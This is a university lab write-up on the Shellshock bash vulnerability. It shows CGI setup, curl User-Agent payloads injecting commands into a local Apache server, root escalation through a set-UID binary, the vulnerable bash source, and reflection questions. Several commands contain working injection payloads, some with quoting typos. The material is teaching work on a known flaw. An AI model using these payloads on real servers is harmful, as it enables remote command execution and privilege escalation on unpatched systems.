

## 2.1 Task 1: Attack Common Gateway Interface (CGI) programs

### Step 1: Set up the CGI Program.

Created the cgi program, copied it to the webserver directory and marked as executable

```
[03/22/2018 09:13] seed@ubuntu:~$ vim myprog.cgi
[03/22/2018 09:14] seed@ubuntu:~$ cat myprog.cgi
#!/bin/bash

echo "Content-type: text/plain"
echo
echo
echo "Hello World"
[03/22/2018 09:14] seed@ubuntu:~$ sudo cp myprog.cgi /usr/lib/cgi-bin/
[sudo] password for seed:
[03/22/2018 09:15] seed@ubuntu:~$ sudo chmod 755 /usr/lib/cgi-bin/myprog.cgi
[03/22/2018 09:17] seed@ubuntu:~$
```

The script is accessible via curl:

```
[03/22/2018 09:20] seed@ubuntu:~$ curl http://localhost/cgi-bin/myprog.cgi

Hello World
[03/22/2018 09:20] seed@ubuntu:~$ █
```

### Step 2: Launch the Attack.

First linked sh to bash using the command below:

```
[03/22/2018 10:27] seed@ubuntu:~$ sudo ln -sf /bin/bash /bin/sh
[03/22/2018 10:27] seed@ubuntu:~$ █
```

A Shellshock attack is able to be executed on the web server from a remote agent by adding a function to the agent variable:

```
[03/22/2018 09:55] seed@ubuntu:~$ curl -v -A "()" { echo hello; }; echo Content_type: text/plain; echo; /bin/ls -l" http://localhost/cgi-bin/myprog.cgi
* About to connect() to localhost port 80 (#0)
* Trying ::1... Connection refused
* Trying 127.0.0.1... connected
> GET /cgi-bin/myprog.cgi HTTP/1.1
> User-Agent: () { echo hello; }; echo Content_type: text/plain; echo; /bin/ls -l
> Host: localhost
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Thu, 22 Mar 2018 16:56:07 GMT
< Server: Apache/2.2.22 (Ubuntu)
< Content_type: text/plain
< Transfer-Encoding: chunked
<
total 7976
-rwxr-xr-x 1 root root    74 Mar 22 09:15 myprog.cgi
lrwxrwxrwx 1 root root   29 Sep 15  2013 php -> /etc/alternatives/php-cgi-bin
-rwxr-xr-x 1 root root 8160168 Sep  4  2014 php5
* Connection #0 to host localhost left intact
* Closing connection #0
[03/22/2018 09:56] seed@ubuntu:~$ █
```

In the screenshot above, the command “/bin/ls -l” was executed on the web server.

The following snippet shows where the vulnerability lies in the variables.c source code.

```
for (string_index = 0; string = env[string_index++];) {
    ...
    /* If exported function, define it now. Don't import
       functions from the environment in privileged mode. */
    if (privmode == 0 && read_but_dont_execute == 0 &&
        STREQN ("()", string, 4)) {
        ...
        // Shellshock vulnerability is inside:
        parse_and_execute(temp_string, name,
                          SEVAL_NONINT|SEVAL_NOHIST);
    }
}
```

This attack can be completed because when `parse_and_execute()` is called to parse the function definition, it can also parse other shell commands and not just the function. If the string is a function definition, the function will only parse and not execute; if it contains a shell command then it will execute it.

## Task 2: Attacking Set-UID programs

**Task 2A:** Wrote “badprog.c”, compiled it and set the owner and permissions:

```
[03/22/2018 10:00] seed@ubuntu:~$ cat badprog.c
#include <stdio.h>
void main()
{
    setuid(geteuid()); // make real uid = effective uid.
    system("/bin/ls -l");
}
[03/22/2018 10:00] seed@ubuntu:~$ gcc -o badprog badprog.c
[03/22/2018 10:01] seed@ubuntu:~$ sudo chown root badprog && sudo chmod 4755 badprog
[sudo] password for seed:
[03/22/2018 10:01] seed@ubuntu:~$ █
```

Executed the program on the webserver over curl:

```
[03/22/2018 10:06] seed@ubuntu:~$ curl -v -A "()" { echo hello; }; echo Content_type: text/plain; echo; /home/seed/badprog http://localhost/cgi-bin/myprog.cgi
* About to connect() to localhost port 80 (#0)
* Trying ::1... Connection refused
* Trying 127.0.0.1... connected
> GET /cgi-bin/myprog.cgi HTTP/1.1
> User-Agent: () { echo hello; }; echo Content_type: text/plain; echo; /home/seed/badprog
> Host: localhost
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Thu, 22 Mar 2018 17:06:00 GMT
< Server: Apache/2.2.22 (Ubuntu)
< Content_type: text/plain
< Transfer-Encoding: chunked
<
total 7976
-rwxr-xr-x 1 root root      74 Mar 22 09:15 myprog.cgi
lrwxrwxrwx 1 root root    29 Sep 15  2013 php -> /etc/alternatives/php-cgi-bin
-rwxr-xr-x 1 root root 8160168 Sep  4  2014 php5
* Connection #0 to host localhost left intact
* Closing connection #0
[03/22/2018 10:06] seed@ubuntu:~$ █
```

Josh Braden & Yesenia Valles

March 27, 2018

Lab 6: Shell Shock Attack

**Task 2B:**

Commented out the `setuid()` function call in the `badprog` program, and re-compiled:

```
[03/22/2018 10:11] seed@ubuntu:~$ cat badprog.c
#include <stdio.h>
void main()
{
    //setuid(geteuid()); // make real uid = effective uid.
    system("/bin/ls -l");
}
[03/22/2018 10:11] seed@ubuntu:~$ gcc -o badprog badprog.c
[03/22/2018 10:11] seed@ubuntu:~$ sudo chown root badprog && sudo chmod 4755 badprog
[03/22/2018 10:11] seed@ubuntu:~$
```

```
[03/22/2018 10:12] seed@ubuntu:~$ curl -v -A "()" { echo hello; }; echo Content_type: text/plain; echo; /home/seed/badprog http://localhost/cgi-bin/myprog.cgi
* About to connect() to localhost port 80 (#0)
* Trying ::1... Connection refused
* Trying 127.0.0.1... connected
> GET /cgi-bin/myprog.cgi HTTP/1.1
> User-Agent: () { echo hello; }; echo Content_type: text/plain; echo; /home/seed/badprog
> Host: localhost
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Thu, 22 Mar 2018 17:12:54 GMT
< Server: Apache/2.2.22 (Ubuntu)
< Content_type: text/plain
< Transfer-Encoding: chunked
<
total 7976
-rwxr-xr-x 1 root root 74 Mar 22 09:15 myprog.cgi
lrwxrwxrwx 1 root root 29 Sep 15 2013 php -> /etc/alternatives/php-cgi-bin
-rwxr-xr-x 1 root root 8160168 Sep 4 2014 php5
* Connection #0 to host localhost left intact
* Closing connection #0
[03/22/2018 10:12] seed@ubuntu:~$
```

It appears that the attack succeeds - further inspection reveals that the webserver process is running under the root account:

```
[03/26/2018 18:17] seed@ubuntu:~$ sudo service apache2 status -v
Apache2 is running (pid 2148).
[03/26/2018 18:17] seed@ubuntu:~$ ps -o user= -p 2148
root
[03/26/2018 18:18] seed@ubuntu:~$
```

Because of this security flaw, the attacker is able to gain root privilege without needing the program to set the effective UID.

The following "if" statement in the bash source code is responsible for the exploit surface:

```
/* If exported function, define it now. Don't import functions from
the environment in privileged mode. */
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("()", string, 4))
{
    string_length = strlen (string);
    temp_string = (char *)xmalloc (3 + string_length + char_index);

    strcpy (temp_string, name);
    temp_string[char_index] = ' ';
    strcpy (temp_string + char_index + 1, string);

    parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
}
```



### Task 2C:

```
[03/26/2018 17:19] seed@ubuntu:~$ touch task2c.c
[03/26/2018 17:19] seed@ubuntu:~$ nano task2c.c
[03/26/2018 17:20] seed@ubuntu:~$ gcc task2c.c -o task2c.exe
[03/26/2018 17:20] seed@ubuntu:~$ sudo chown root task2c.exe
[sudo] password for seed:
[03/26/2018 17:21] seed@ubuntu:~$ sudo chmod 4755 task2c.exe
[03/26/2018 17:21] seed@ubuntu:~$

[03/26/2018 18:44] seed@ubuntu:~$ curl -v -A "()" { echo "hello"; }; echo Content_type: text/plain; echo; /home/seed/task2c.exe http
//localhost/cgi-bin/myprog.cgi
* About to connect() to localhost port 80 (#0)
* Trying ::1... Connection refused
* Trying 127.0.0.1... connected
> GET /cgi-bin/myprog.cgi HTTP/1.1
> User-Agent: () { echo hello; }; echo Content_type: text/plain; echo; /home/seed/task2c.exe
> Host: localhost
> Accept: /*
>
< HTTP/1.1 200 OK
< Date: Tue, 27 Mar 2018 00:46:33 GMT
< Server: Apache/2.2.22 (Ubuntu)
< Content_type: text/plain
< Transfer-Encoding: chunked
<
total 7976
-rwxr-xr-x 1 root root      73 Mar 26 17:48 myprog.cgi
lrwxrwxrwx 1 root root      29 Sep 15  2013 php -> /etc/alternatives/php-cgi-bin
-rwxr-xr-x 1 root root 8160168 Sep  4  2014 php5
* Connection #0 to host localhost left intact
* Closing connection #0
[03/26/2018 18:46] seed@ubuntu:~$
```

When launching shellshock on this program, it is clear it was successful because we were able to run our ls command. Although it uses execve, it passes the environmental variables to avoid sanitization process.

### Task 3:

1. Other than CGI and setUID programs, shellshock attack can be applied as a remote attack on PHP.  
PHP scripts, similar to C, use a system call which invokes the shell. So, if the shell is *bash* then this is a surface that can be used. Secondly, if before calling `system()` the PHP program itself sets environment variables based on user inputs, this will also leave it vulnerable to shellshock. A combination of both the invocation of *bash* as well as the passing of user data as environment variables can sometimes be satisfied by a PHP script.
2. The fundamental problem observed in the Shellshock attack is that as the complexity of software grows, the likelihood that something will be overlooked increases as well. In the case of the *bash* program, this oversight led to the potentially catastrophic vulnerability exemplified in this lab; a simple coding mistake that wouldn't show up under normal use led to a disproportionate amount of potential damage. From this mistake we can learn that software should be subjected to thorough testing and review before implementation, and that security best practices should also be followed to attempt to minimize damage in the event of such an exploit being discovered.